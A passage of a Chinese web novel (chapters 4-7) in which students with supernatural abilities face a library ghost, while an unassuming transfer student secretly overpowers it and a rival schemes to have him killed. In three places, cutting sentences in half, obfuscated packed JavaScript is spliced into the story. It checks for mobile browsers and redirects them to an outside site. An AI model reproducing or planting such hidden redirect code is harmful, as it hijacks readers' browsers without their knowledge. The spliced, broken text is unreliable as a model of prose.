他一边说,一边在聊天框里寻找自己珍藏的攻击力强的表情包,打算和那些出来怼他的人大战三百回合。 但预想中的消息却并没有出现。 奇怪,他们竟然都不在线吗? 时家尔疑惑了一下,随即又觉得只是巧合而已。 从诡异世界回来后,A班的学生为了练习异能,都时不时会让自己“断网”一段时间,全心全意为战斗做出准备。加上克莱登学院最近诡异频发,剩下的人分散在各处,忙于解决诡异生物也是情理之中。 只不过,没人回消息未免也太无聊了。 时家尔烦躁地把手机塞进兜里,决定先离开这片区域,去找自己的双胞胎哥哥,过几个小时再回这边来。 算了,他想了想,还是一个小时内回来吧,免得把人吓得太过分。 时家逸快步走向出口,顺手扣紧外套。可刚走到走廊尽头,他莫名打了个寒噤。 一阵阴冷的风从他背后拂过,在他手背上激起一层鸡皮疙瘩。 可这里什么时候能起风了? 这座图书馆已经废弃很久了,早被学院封闭,门窗紧锁,连通风口都被堵死了。按理说,根本不可能有风。 时家尔僵住了一秒,下意识回头。 他的背后空无一人,只有一片死寂的黑暗 时家尔深吸了一口气,让自己镇定下来。 应该是“噬梦”那边搞出来的动静,他这样解释着。但总是觉得有哪里不对,连说服自己都有几分勉强。 “沙……沙沙……” 有节奏的响动忽然从远方传来。 那是一页又一页纸张摩擦的声音,像有人坐在图书馆深处,缓慢而沉重地翻书。 这不是“噬梦”会带来的声响,可除了他和转学生以外,这里根本没有第三个人! 不对,等一下…… 时家尔心跳陡然加快。 这里没有是第三个人,却有那只被封印住的藏书鬼! 下一秒,一道电弧在空中炸开! ——层层书架前,一个球形的空间逐渐浮现在现实中。电弧在空中跳跃,银蓝色光辉如水波般不停地震荡着,将一室昏黑照得恍如白昼。 突如其来的冲击之下,时家尔迅速向后急退,肩膀却撞上了什么东西。 他惊得浑身寒毛直竖,猛然转头,却看见了转学生那张温和无害的脸。 时家尔:“……” 他差点儿没被这变故给噎死,下意识问道:“你怎么在这?!” 江秉烛揉了揉被撞痛的胳膊,理所当然地说:“这里有光。” 时家尔:“。” 也对。 图书馆里黑漆漆的,会往有光的地方走也是人之常情。 唯一的问题就是,前面的根本不是普通的光源,而是关着藏书鬼的封印! 短短几秒的功夫,光球中的震荡愈发剧烈,像是有什么东西在里面拼命冲撞,甚至在封印上撞出了一道裂痕! 藏书鬼虽然难杀,但明明是相对温和的诡异生物,此前也一直安分地待在封印里,怎么会突然间这么凶悍,就好像发狂了一样? 情况很不对劲,可时家尔根本没空多想,身体下意识做出了反应,一把扯住旁边的转学生往外跑。 江秉烛:“?” “走!具体的我之后再解释,”时家尔语速飞快,“有个怪物发狂了,你出去之后就往教学楼跑,去找A班的其他人,叫他们立刻赶到这里来!越快越好!” 江秉烛跟着跑在他身后:“那你呢?” “我得留在这里,”时家尔凛然道,“如果那怪物真的出来了……我来拖住它,不让它到外面去。” 尽管他的精神系异能不擅长正面战斗,可为了学校里其他学生,为了他们这片大陆,他必须留下。 这是异能者的责任。从穿越回来的那天起,他就已做好觉悟了。 何况,现在还不是末日。时家尔咬着牙想,只要坚持到A班的人过来就好! 可现在手机完全失去信号,其他通讯方式也全被藏书鬼干扰得死死的。 原本他最瞧不上的转学生,竟然成了目前唯一的希望。 只是,江秉烛那身体素质,看起来连快跑都困难,他到底能不能…… “咔嚓。” 一道不详的响动从后方传来,时家尔心中一寒,回过头去,只见一道瘦长的人形影子正一下又一下地撞击封印。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575302|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它不断地重复着这个动作,仿佛感受不到疼痛一般,机械地、拼命地,将自己血肉模糊的身体碾压上去。 封印被它撞得摇摇欲坠,上面爬满蛛网般的裂痕。 时家尔意识到了什么,瞳孔猛地紧缩。 下一秒。 一只干枯、黑瘦的手撕裂缝隙,从封印中探了出来! 封印破了! 血和墨顺着封印的裂隙汹涌而出,卷起的灰尘在图书馆中旋转翻腾。风眼正中央,一道瘦长的黑影直起身,做出追逐的姿态。 它这是要赶尽杀绝! 此时此刻,两名人类学生离图书馆的出口只剩不到五十米。 只要拖一阵子、只要能让江秉烛出去、只要能跑到那个地方…… 电光火石间,时家尔做出了决定。 他挡在江秉烛前面,拼尽全力把他往后推,大喊道:“跑!” 与此同时,他的掌心猛地亮起暗色光芒,一张由无数梦魇织就的罗网轰然成型,向藏书鬼笼罩过去。 这是他拼上所有力量,能对藏书鬼发出的最强攻击。 将“噬梦”的力量发挥到极致后,它能对诡异生物的精神进行短暂的干涉,继而干扰它们的行为,给自己留出时间。 时家尔选择扭曲的,是藏书鬼对于“强弱”的认知。 在“噬梦”的影响下,越是强大的存在,越是会被它当成不堪一击的渺小生物。相反,那些原本就在它眼中微不足道的,比如江秉烛这样的普通人,就会成为藏书鬼眼中的“强者”——这将让它在追击时产生片刻迟疑,从而达到拖延的效果! “噬梦”落在藏书鬼身上,异能即刻生效。 这下,江秉烛一定有机会跑出去了! 时家尔近乎虚脱地跪倒在地,心里却松了口气。 但下一秒,黑墨凝成的风暴拔地而起! 爆裂的破空声和恐怖的尖啸掠过他的耳侧,直直朝江秉烛扑去! 时家尔:“???” 怎么会这样?! “噬梦”已经生效,藏书鬼明明应该把转学生误认成强大存在,不敢轻举妄动才对,怎么会反其道而行之? 到底是哪里出现了差错? 更令他绝望的是,江秉烛这时像被吓傻了一样,竟然停在了原地,不再动作。 呆子,快跑啊—— 时家尔在心里呐喊,可方才的一击耗尽了他的所有力量,他最终没来得及做出任何举动,眼前一黑,直挺挺栽了下去。 图书馆大门就在眼前,距离逃生之路只有一步之遥。江秉烛却收回了脚。 他停在原地,缓缓转过身,看了看被扭曲了意志、朝自己冲过来的藏书鬼,又看了看已经人事不省、倒在地上的时家尔。 ……都挺忙,但不知道在忙点什么。 不过,倒是给他省事了。 江秉烛人畜无害地招了招手,对那只近在咫尺的藏书鬼笑了笑。 “嗨。” 5. 第 5 章 在江秉烛友善地向藏书鬼打招呼时,“噬梦”施加的五秒影响恰好过去。 尖啸着朝他扑来的那团墨色诡气猛然一滞,随即像是忽然想起了什么般,发出一声扭曲刺耳的低鸣,骤然调转方向,拼命朝反方向逃窜。 但它只跑出半米。 一只手不知什么时候伸了出来,简简单单地攥住了那片黑影的尾巴。 那只手修长、骨节分明,有一种过分脆弱的苍白。可无论藏书鬼如何挣扎,竟然都无法逃脱他的束缚。 江秉烛垂眸打量着它,原本一双黑白分明的眼睛不知何时变成了浓稠的深红色,那抹红色在黑暗中反射出异样的光彩,像是流淌的鲜血,又像是跳动的火焰。 藏书鬼的挣扎停了一瞬,然后立刻变成了剧烈的颤抖。 “大、大人,我、我……我刚刚是被那个卑鄙的人类害了,我绝对、绝对没有冒犯您的意思啊!!!” 一阵极其撕心裂肺的尖叫声从诡气团中传来,在整个图书馆中回荡着,久久不歇。 江秉烛:“。” 好吵。 藏书鬼就是这点烦人。 这种诡异生物寄生在书本里,收集信息是它们的天性。但在诡异世界里,越多的知识意味着越多的风险,为了活命,藏书鬼往往对危险极为敏感。 从他进入图书馆时,这只藏书鬼就察觉到了他的气息,冲破封印,想要逃走,本来都快出去了。 结果有时家尔横插一脚,它被扭曲了对强弱的感知,反而落到了自己手里。 江秉烛想起时家尔昏过去前那个绝望的眼神,又戳了戳正在筛糠的藏书鬼。 一番操作达成双方都不满意的结局,也是挺难得的。 但作为一种非常适合用来获取信息的生物,这只藏书鬼的出现正合他心意。 江秉烛倒提着藏书鬼,把它拎到和自己视线平齐的位置,随手晃了晃。 “我有个问题问你。” —— 克莱登学院,山顶运动馆。 五名A班学生各自穿着训练服,罕见地收敛了平日的高傲,脸上露出了些认真的神色。 一个月后,京城将举办两年一度的特级异能者评选。 虽然A班的学生没有向外人讲过自己的穿越经历,但为了更好地保护家园,他们在京城登记了异能者的身份。 只要他们能在今年成为成为“特级异能者”,就可以在行事时有更高的权限、也能调动更多资源。 突然,站在前方的高傲男生手中的魔法杖上光华闪动。 他动作一顿,凝聚在杖尖的攻击型魔法阵迅速散去。 “出什么事了,又有诡异生物出现?”后排的几名A班学生齐刷刷抬头,看向赵一清。 身为从诡异世界穿越回来的异能者,他们非常清楚,自己除了是学生外,还肩负着维护世界的责任。经过了诡异世界的重重历练,他们早就对眼前的状况见怪不怪,习以为常。 赵一清皱起眉,沉吟道:“我感受不到关着藏书鬼的封印了。” “不应该啊,藏书鬼很温和,你留下的封印它没法破解。” “而且废弃图书馆人迹罕至,也没什么人为干扰的可能性。” “等等!”一名棕发男生猛地站起身,面色凝重。他的长相和时家尔有九成九相似,只不过,气质中多了一丝稳重。 “就在刚刚,我也感受不到我和我弟弟的联系了。而他为了吓走转学生,最喜欢去的地方,就是那间有藏书鬼在的图书馆!” 训练室内骤然静得针落可闻。 时家逸和时家尔是一对孪生兄弟,在获得异能后,能感应到彼此的状态。 如果连时家尔一个异能者都在图书馆里和他们失去了联系,那一定是出事了! 可是从这里到废弃图书馆,不仅要下山,还需要穿过一整座学校。他们中擅长速度的人此时还在外面。开车的话,最快也要二十分钟。 和诡异生物的作战分秒必争,二十多分钟实在是太长了,谁都不知道会发生什么。 “先赶过去,”赵一清沉声道,“我在那间图书馆里留下了一个圣光魔法阵。如果能远程连接魔法阵,用圣光进行攻击,或许能争取一些时间。” 时家逸虽然看不惯他发号施令的样子,此刻却不得不点头答应:“我来操作吧。” 他的异能叫“易碎品”,可以找到并针对敌人的弱点。赵一清的这个圣光魔法阵是专门针对诡异生物进行追踪与攻击的,这个时候由他使用,能最大限度地发挥魔法阵的作用。 时家逸不知道图书馆里发生了什么,但藏书鬼本身并不残暴,即便他弟弟是不擅长攻击的精神系异能者,也该有能力自保。 突然之间就断了联系,里面的情况一定十分危急。 他一刻也不敢耽搁,远程连接上魔法阵。 封印果然已经破了,而且破阵方法极其血腥。 时家逸的心立刻悬了起来,谨慎地寻找着藏书鬼的踪迹。 可出人意料的是……图书馆里,不仅没有发疯发狂的藏书鬼,就连诡气都找不到一丝。 不会吧? 难道是魔法阵出错了? 他通过圣光,更加仔细地感知了整座图书馆,却依然没有发现藏书鬼的任何气息。 不止是他,就连赵一清也同样一无所获。 他思索了一阵,分析道:“现在这个情况,有两种解释。” “第一种,圣光只能锁定诡异生物,那只藏书鬼已经被解决了,所以……” 时家逸直接跳过了那个微乎其微的可能:“另一个解释是什么?” “第二种,”赵一清神色郑重,如临大敌,“这只藏书鬼的实力超乎我们的想象,所以我的魔法阵已经没办法再检测到它的存在。” “我们要做好最坏的准备。” —— 十分钟后。 废弃图书馆的侧门被人小心翼翼地推开。 时家逸走在最前面,一手掌心蓄起异能,另一只手扣在腰间,牢牢握住自己的武器——一把经过附魔的小型弩箭。 随着赵一清的吟唱,洁白光芒从空中洒落,驱散了图书馆中的黑暗。 映入眼帘的,是沾满血迹的封印碎片,然后是一排又一排被大力撞倒的书架,和散落一地的纸张。 时家逸心头一紧——他的弟弟或许就是在这里和藏书鬼进行搏斗的。 “这里!这里有‘噬梦’留下的怪物!” 十几米之外,另一名A班学生连连挥手,指向一处怪物的残骸。 那是由“噬梦”构建的、来自诡异世界的凶悍生物。但它此刻倒在地上,一半的身体被不明力量腐蚀,表皮上遍布着灼烧的痕迹,而另一半尸体已经冰冷。 显然,在失控的那一刻,藏书鬼爆发出的力量远比他们预想得更加可怕。 时家逸蹲下身,拨开“噬梦”造物的残躯,几枚凌乱的脚印赫然印在干涸的血痕当中。 他沿着脚印的方向慢慢向前走,渐渐将图书馆内的每一处战斗痕迹拼凑成了完整的画面。 那是一场惊心动魄的战斗—— 封印松动,藏书鬼冲破禁制,凶焰滔天。 时家尔察觉不妙,拉着那个转学生逃命,却因为普通人与异能者之间的身体差距,一步之差,被困图书馆。 但面对疯狂的诡异生物,他的弟弟没有犹豫!他把唯一的逃生机会让给了普通学生,自己转身面对恐怖的诡异生物。 这是多么伟大的壮举! 时家逸脚步微顿,心中连连感慨。 ……原来,他那个笨蛋弟弟,现在已经成长到了这种地步了吗? 但下一秒,他一脚踢到了什么软软的东西。 时家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575303|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逸怀揣着满心悲戚,低头一看,看见了一个熟得不能再熟的人,四仰八叉地躺在地上。 时家逸:“???” 他弟。 活着的他弟! 赵一清等人也找到了还停留在图书馆内的转学生江秉烛,带着他一起赶了过来。 和只顾着关照着弟弟情况的时家逸不同,他们在不远处发现了一小堆灰烬,像是什么东西烧出来的灰。可它被烧得极为彻底,连一丝信息也看不出来。 “你知道这是什么吗?”赵一清看向转学生。 江秉烛怀里抱着一本《第二城淡水鱼图鉴》,慵懒地靠在书架上,微长的黑发扎成一个低马尾,静静搭在肩后。 他的眉稍微微下垂,眼尾却有一抹上挑的弧度,使得原本清秀温和的面容多了些说不清的味道。只是他表情淡淡的,看不出在想什么。 他像是刚在喂鱼池旁坐了一下午的那种闲人,扫了一眼灰堆:“不知道。” 赵一清皱起眉,正要追问,时家逸已经开口:“我知道这是什么!” “这是藏书鬼的一部分遗骸,”他说,“我能感觉得出来,这堆灰烬上,有‘噬梦’残余的力量。” “我弟弟的异能可以模拟出他见过的恐怖事物,他对这东西越是了解,‘噬梦’模拟出来的梦魇就越逼真。” 在其它人疑惑的目光中,时家逸解释道,“在诡异大陆时,我们兄弟曾经在至高神的一座神殿中得到过救助,见过那里的主教使用神焰,还有幸得到过那一位的答疑。” 闻言,江秉烛轻轻挑了下眉。 但没有人注意到他的动作,就连赵一清也只顾着感叹:“你们兄弟,竟然有这样的奇遇!” “神焰”是诡异世界所有火焰中,最为特殊的一种。 它可以灼烧世间万物,不管是实体还是灵魂,不管是凡人还是神祇。 而神焰的主人,就是如今诡异世界的那位至高神——祂最初的名号,就是“光与火之神”。 除了至高神本尊和受祂认可的人以外,没有任何人能使用神焰。可时家尔的异能特殊,又幸运地得到了一位大佬的帮助,或许真能靠“噬梦”短暂地模拟出神焰的形态。 而即便只有神焰千分之一、万分之一的威能,也完全可以烧掉藏书鬼的一部分身体,并把它吓走了! “幸好他反应快,”时家逸心有余悸,“要不然,我真的想不到他要怎么样,才能在发狂的藏书鬼面前活下来。” 这样倒是能说得通,只是……赵一清仍然觉得有哪里不对。 他皱着眉想了一会儿,看向角落里还在翻图鉴的江秉烛。 “你刚才有看见火光,或者闻到焦糊的气味吗?” “没有啊,”江秉烛偏了偏头,“图书馆起火,应该会很容易变成事故吧。” A班学生:“……” 那可是神焰,和普通的火能一样吗!在正确的操纵者手里,它完全可以在把诡异生物烧得渣都不剩的同时,连周围环境的温度也不影响一点。 只有转学生这样彻头彻尾的普通人,才会担心图书馆会不会被烧到这种简单的问题。 几名A班学生对视了一眼,最后是时家逸被派了出来,问:“刚刚的事情,我弟弟给你解释过吗?” 江秉烛从淡水鱼图鉴上抬起头:“什么事?” 满脸写着对世界一无所知的清澈。 时家逸深吸一口气,压去心头的烦躁。 刚才的情况那么紧急,许多事情时家尔没来得及告诉转学生,这很正常。 可现在,江秉烛已经和诡异生物正面对上了,比起遮遮掩掩,用一个谎言盖过另一个,让他知道真相,是更好的选择。 “那我来告诉你吧,”时家逸清了清嗓子,故作老成地压低声音,“你……相信世界上有超自然的事物存在吗?” 江秉烛:“?” 6. 第 6 章 江秉烛怔了一下,仿佛没太听懂似地重复了一句:“超自然?你指得是什么?” 他脸上写满了茫然与疑惑,怎么看都像是那种压根没想过这种事会发生在现实里的、彻头彻尾的路人。 这要讲起来,可真是工程浩大。 时家逸光是想想,就不由得有点头大,只得一边跟A班的其余几名学生收拾现场,一边给江秉烛解释。 “你刚才也看见了吧?这世界上有些东西,完全超出了科学可以解释的范畴。它们,和它们带来的力量,我们统称为‘诡异’。” “在诡异的影响下,一些怪物诞生了,它们靠诡气为生。与此同时,也有像我们一样的人类,觉醒了操纵诡气的能力,也就是异能。一个人一般会觉醒一到两个异能,它们有强弱之分,S级最强,E级最弱。” “除了异能本身的强度,对异能的掌控程度也决定了一个人的战力。异能者可以被分为一到七级,等级越高,代表对自身能力的掌握越完善。” “七级并不是异能的极限,”旁边一名男生神秘兮兮地插话,“如果有人能将一项权柄掌控至极限,超越第七级,就会脱离异能者的范畴,成为‘神选者’。那时候,他就不再是他,而该被称作‘祂’。据说,这是成神之路的第一步。” “金祈安!”赵一清寒声打断那人,“即使在这个世界,也不要妄言那些存在,你们知道会是什么下场!” 那些存在。 这四个字一出,在场的几名学生都想起了在诡异大陆那段如履薄冰的日子,图书馆内的氛围忽然变得极为凝重起来。 那个世界诡异生物横行,但怪物远远不是那里最为恐怖的存在。 A班学生穿越过去的时间非常不巧,那时,诡异世界正在进行神战。时家逸记得非常清楚,他看见炽金色的光芒撕裂了半边天空,无休无止的火雨从天而降,绵延的山脉在顷刻间分崩离析,倒灌的海水即将淹没整片大陆。 整个世界都在震颤,时家逸几乎以为,这就是自己的末日了。 直到他听见高天之上,传来一声极轻极轻的低语。 下一刻,海水回流,火雨停息,崩裂的山峦飞速重组,死亡的气息遭逐渐退却,整个大陆被一双无形的手拼回原本的模样。 那些末日般的景象,像是从未出现过一样。 后来时家逸才知道,那天他所目睹的一切,不过是因为神战中的余波擦到了诡异大陆的边缘。 出手复原这一切的,是当时的光与火之神。 而祂所用的,仅仅是一句低语。 再后来,祂杀死了所有神祇,登临至高神位。以祂的威能,想要毁灭这片大陆,也不过在祂一念之间。 ……那就是神的力量。 作为一个没有异能的普通人,江秉烛在不受关注的角落里,用《第二城淡水鱼图鉴》掩着嘴,打了个哈欠。 好无聊,真怀念他的金鱼啊。 他搜查了藏书鬼的记忆,它确实是被时空裂隙传送到这个位面的。那条时空裂隙的跨度很长,卷走了不少诡异生物。 江秉烛没在记忆里找到金鱼的影子,反倒了看到了一个熟人——江家管家。 三天前,管家来到克莱登学院替他办入学手续。可在藏书鬼的记忆中,管家身上有很浓的的引诱剂的味道。那是一种会激发诡异生物猎食本能的药剂,正是这股气味最终吸引来了吸髓者,并让它附在了管家身上。 引诱剂的制造过程繁琐,还需要特殊的异能者配合才能完成,它不是应该出现在第二城的东西。 ——明显是有人下了套,目的不言而喻。 权力斗争、借刀杀人、斩草除根……全是老生常谈了。 江秉烛兴致缺缺地划过那段记忆,没再多看一眼。 金鱼去哪了,才是他的头等大事。 幸运的是,他找到了自己要的东西,时空裂隙最终的落点——克莱登学院的室内游泳馆。 时空裂隙消失后,所有诡异生物落在了那里,场面一度非常混乱,没有任何人注意到了几条漂亮的小金鱼。 江秉烛:“。” 算了,好歹是泳池,他的鱼不至于当场干死。 还来得及捞回来。 “江同学,你要专心一点。”时家逸略微不满的声音响起来,“能告诉你的事情,我都讲了。你现在应该明白,我弟弟并不是存心吓唬你,只是我们A班都是异能者,需要全神贯注对付诡异生物。你一个普通人在,不仅拖我们后腿,自己的处境也会很危险。” “现在,我想听听你的想法。” 尽管完全没有在听,江秉烛还是配合地点了点头:“我想去游泳馆。” 时家逸:“……?” 奇怪,这里人类的谈话方式不是一直很跳脱吗?怎么现在又变了? 江秉烛不太理解,但尊重不同种族之间的差异。 “我在渔村长大,”为此,他随便胡扯道,“我喜欢在游泳的时候思考,这是一种习惯。” “这样吗?”时家逸盯着他,沉思片刻,“我明白了。” 虽然这个习惯听起来非常罕见,但他在诡异大陆见多了怪事,转学生的这点小爱好和那些比起来,已经很合情合理了,他选择尊重。 “今天的信息量很大,你是应该找个熟悉的地方认真思考,”他说。 江秉烛点了点头,对双方的沟通十分满意:“那么,我什么时候能去游泳馆呢?” “游泳馆现在不开门,”时家逸有些为难地说,“因为诡异生物的影响,很多在那里游泳的学生都出问题了。学校认为是水质问题,说他们集体食物中毒,从半个月前,就开始整顿游泳馆了。” 以克莱登学院的效率来讲,游泳馆下次开门,还不知道是什么时候的事。 时家逸身边,一名A班学生补充道:“当时的诡异生物我们早就清理掉了,靠校方,这地方迟早完蛋。” 提到诡异生物,江秉烛的眼神微微一顿,问:“你们过去的时候,有在泳池里看见过几条金鱼吗?” “金鱼?没注意,”时家逸耸耸肩,“前两周的诡异生物多得离谱,什么东西都有可能出现在水里。不过,我们过去的时候,学校都把泳池的水放干净了。” “泳池里要真的有鱼,当时在游泳的人肯定会注意到,只是他们不在学校。虽然诡异生物已经被清除了,但是它们造成的伤害对人影响很大,听说那些学生现在还在发烧。但是我们这里没有医疗系异能者,只能送他们去医院休养,靠时间恢复。” 江秉烛立刻追问:“哪家医院?” 时家逸下意识多看了他一眼。 转学生就算在得知世界真相的时候,都一副漠不关己的平静样子,现在倒是终于给出反应了。 但他很快就想清楚了原因。 普通人嘛,对异能者的事不感兴趣很正常。可一群无辜学生的遭遇,才能让他真正感同身受。 “圣雅各医院。”时家逸说,“我弟弟摔得不轻,我也要带他去那看医生,别真磕到脑子。” 他顿了顿,话锋一转:“你要不要一起?” 只要让江秉烛见识到被诡异污染的恐怖,他肯定很快就会做出正确的选择,不再赖在A班了。 —— 京城,江家。 江亦宁重重把手机摔在桌上。 “你说什么?管家还活着,正在圣雅各医院检查?”他压低声音,急切地质问道,“不是说第二城最近诡异频发,引诱剂让强大的诡异生物附到管家身上了吗?他怎么可能还活着!那个江秉烛呢?” 电话另一头传来唯唯诺诺的道歉声,江亦宁却一点也听不进去。 从记事以来,他就是京城江家的二少爷,身份高贵,天资卓绝。哪怕在京城这样的地方,也是当之无愧的天之骄子。 直到江秉烛被认回江家,他竟然成了来路不正,鸠占鹊巢的那个! 好在江秉烛是个没有异能的废物,江家人不在乎他,不仅没有对外宣布他的身份,还把他扔去第二城自生自灭。 但这并不能让江亦宁放心——只要真少爷活着一天,就意味着他是那个假的,江亦宁不允许自己的人生出现任何污点。 为此,他必须斩草除根,只是没想到计划竟然会失败。 江亦宁在书房中不安地踱步。 “二少爷,这次只是一个巧合,”电话那头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575304|171545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人安抚道,“管家任职多年,身边总会积攒几样保命的东西,拖延时间。江秉烛当时就在他身边,能沾管家的光逃过一劫,只是侥幸而已。” “而且,管家还声称,自己遇到了一位强者。” “强者?”江亦宁反问,“第二城那种地方,能有什么厉害的人?” “管家没看到他的脸,只是从现场的痕迹分析,那个人的异能和他很像,强度却超过他十倍不止。最关键的是,对方只用一击,就干掉了我们引来的诡异生物。” 江亦宁皱起眉,喃喃道:“一击毙命,又是一击毙命……这个行事作风,听起来很像是希格尔德。” 一周前,京城的诡异含量突然大幅上升,各种诡异生物都像发了狂一样,不论是被忌惮的旧日邪物,还是和人类早有契约的诡异生物,统统变得攻击性极强,离开了自己的领地。 可是在各大世家搞清来龙去脉之前,那些已经到了神选者层次的存在——“灵魂雕刻者”、“玉石山主”、甚至是被很多普通人误认为神明的那只火鸟,都接二连三、悄无声息地死去了。 它们唯一的共同点,是死在同一个人的手里。 没有人知道动手的人是什么身份、什么立场、为什么要做出这些事。 他们给那个神秘人起了一个代号——“希格尔德”,神话中屠龙的勇士。 希格尔德极度危险、不知是敌是友。可他太强大了,所以所有人都想找到他,笼络他、成为他的盟友。 全京城都在寻找他的痕迹,江亦宁当然也不例外。 “马上派人去现场!”江亦宁眼神凌厉,“每一寸土地都要仔细搜查,任何一丝能量残留都不能放过!这一次,我们比别人快了一步,抢占了先机!” 江亦宁说着,几乎按捺不住心底的激动。 希格尔德有着令所有人趋之若鹜的力量,甚至足以改变现在京城的格局,只要能找到他,江亦宁有信心和他达成合作。到了那时,他的地位会和现在截然不同,无论江秉烛那个“真少爷”搞出什么,都不可能撼动他的身份。 下属问:“那江秉烛那边呢?” “他?废物而已,做了就行,”江亦宁冷笑道,“随随便便一点诡异生物就能要了他的命。” 房间外传来一阵敲门声,江家大哥的声音响起:“小宁。” 江亦宁话音一顿,迅速挂断电话。 他在脸上扬起灿烂的笑容,放下手机,小跑着拉开书房门:“哥?你怎么来了,是有什么好消息吗?” 江家大哥微微颔首:“最新的消息,周顾问近期回来。你不是想见他很久,让他评估你的异能吗?家里已经替你疏通了人脉,时间定在一个月后,你提前做好准备。” 周顾问全名叫周夜阑,年纪很轻,能力却深不可测。他的来历非常神秘,江亦宁只知道他是许多异能世家的座上宾。 但重要的是,周夜阑的眼光极高。异能得到过他认可的人,无一例外都获得了非凡的成就。 京城这一代的年轻异能者中,没人不渴望得到他的评价与指点。 不过机会非常难得,就连江家人想要见他一面,都很不容易。江亦宁没想到自己期待的这一天来得这么快。 “哥,你最好啦!”江亦宁开心地欢呼着。 忽然,他想到了什么,语气一顿,若无其事地问:“对了,周顾问之前不在京城,是去了哪里?” “几个外城区。”江家大哥淡淡道,“具体不清楚,只知道他途经第二城回京。” 江亦宁的笑意瞬间僵住,垂在身侧的手指猛地收紧。 但他极快地稳住表情,笑着送走大哥,直到他的背影消失在走廊尽头,才伸手关上房门。 门关上的刹那,江亦宁脸上的笑意瞬间冷却,阴翳的目光落在手机屏幕上。 指尖一滑,通讯重新拨通。 “就按我刚才说的做。”江亦宁的声音中透着股狠意,“速度一定要快,在周顾问回来前,解决江秉烛。” 他说着,想起了什么似的。 “管家不是在圣雅各医院吗?让他随便找个理由,把江秉烛叫过去,然后……” “我们唤醒‘祂’。” 7. 第 7 章 圣雅各医院距离克莱登学院不远,没用多久,车就开到了医院门口。 和往常不一样,医院门口这会儿聚集了很多人,手里高高举着告示牌。 江秉烛抬手叉掉了来自管家的未读消息提示,往车窗外面看。告示牌是临时准备的,上面墨水未干,一笔一画却极其坚定。 “不解决问题,我们就罢工!” “停止隐瞒,公开真相,还我们一个安全的医院!” 这件事说来蹊跷。 半个月前,有两名医生在一次夜班后,忽然开始发烧。本来没人把这样的小病小痛当回事,可接下来,越来越多的医护和病人接连倒下,同样毫无征兆、原因不明。 他们身上没查出来任何病灶,可高烧也没有任何缓解的迹象。 直到几天前,那些发烧的患者陆续陷入昏迷,连日来的不安与恐慌到达了极点。 “是诡异生物作祟。”听完来龙去脉,时家逸坚定地判断。 他让司机在医院不远处的路口找了个地方停下,转头看向江秉烛:“我去看看情况,你在车里好好待着,我弟醒了,跟他稍微解释一下情况就行。” 听描述,这次的诡异生物影响范围不小,不容人掉以轻心,时家逸可不打算在这时候带着一个拖油瓶一起。 江秉烛还没回复,他就径直走过去了。 时家逸打了个电话,没多久,就有人迈着小碎步赶了过来,陪着笑脸把他迎了进去。 时家在第二城的富豪排行中榜上有名,他们投资的产业很多,这家私立医院也是其中之一。 时家逸的身影很快消失在视线尽头,不久后,江秉烛直起身,拉开了车门。 “小江同学,”虽然司机向来听不懂自家少爷的话,但还是按照吩咐叫住了他,“大少爷让您在车里待着。” 那怎么行,他还得进去问问里面昏迷的学生有没有见过他的鱼呢。 江秉烛动作没停,自然道:“我饿了,去买炸小黄鱼。” “同学……” 江秉烛:“闻着很香,我给你也带几条?” 司机:“可是少爷他……” “哦,我不会忘了他的,”江秉烛指了下躺在后排座椅上,昏迷不醒的时家尔,对人类的人情世故表示万分理解,“他有白粥。” 司机:“。” —— 几分钟后,宣称要去买炸小黄鱼的江秉烛两手空空地出现在医院大厅。 他打开手机,点开管家发来的消息,向在岗的护士解释来意:“探病的。” 护士不确定地看了他两眼:“同学,我们医院现在……属于非常时期,你确定要进去吗?” 江秉烛点了点头:“这对我很重要。” 天呐!护士满是惊讶地掩住嘴,带他前往住院区,好心地给他指明了去管家病房的路。 这年头,竟然还有学生会明知风险,来医院探望自己生病的管家,多么令人感动的孝心! “孝心满满”的江秉烛对此一无所知,平静地走进电梯。管家的病房在五层,他却连眼都没抬一下,径直按下了去七层的按键——那是克莱登学院送来的学生统一疗养的地方。 外面声浪喧哗,七层却安静极了,连电梯门开合的声音都静悄悄的,生怕打扰到里面的人。 这一整层的地面都铺着浅色的瓷砖,墙壁和天花板都是一片洁白。空气中漂浮着花香调的香水味,好像这里根本不是医院,而是某个香水展览。 这也太甜了。 江秉烛走到窗边,把微微开着的几扇窗关了个严严实实,又在中控空调上摆弄了几下,才满意地收回了手。 他刚要离开,侧后方传来了一道惊讶、不满的声音。 “你怎么在这?我不是让你在车里等着吗?”时家逸三步并作两步,从另一台电梯里赶了出来。 他刚才在楼下和医院的人了解完情况,察觉到事情远比想象中复杂,于是找了个理由支开了那些普通人,在A班的群里发了条消息后,便独自一人先上楼查看。 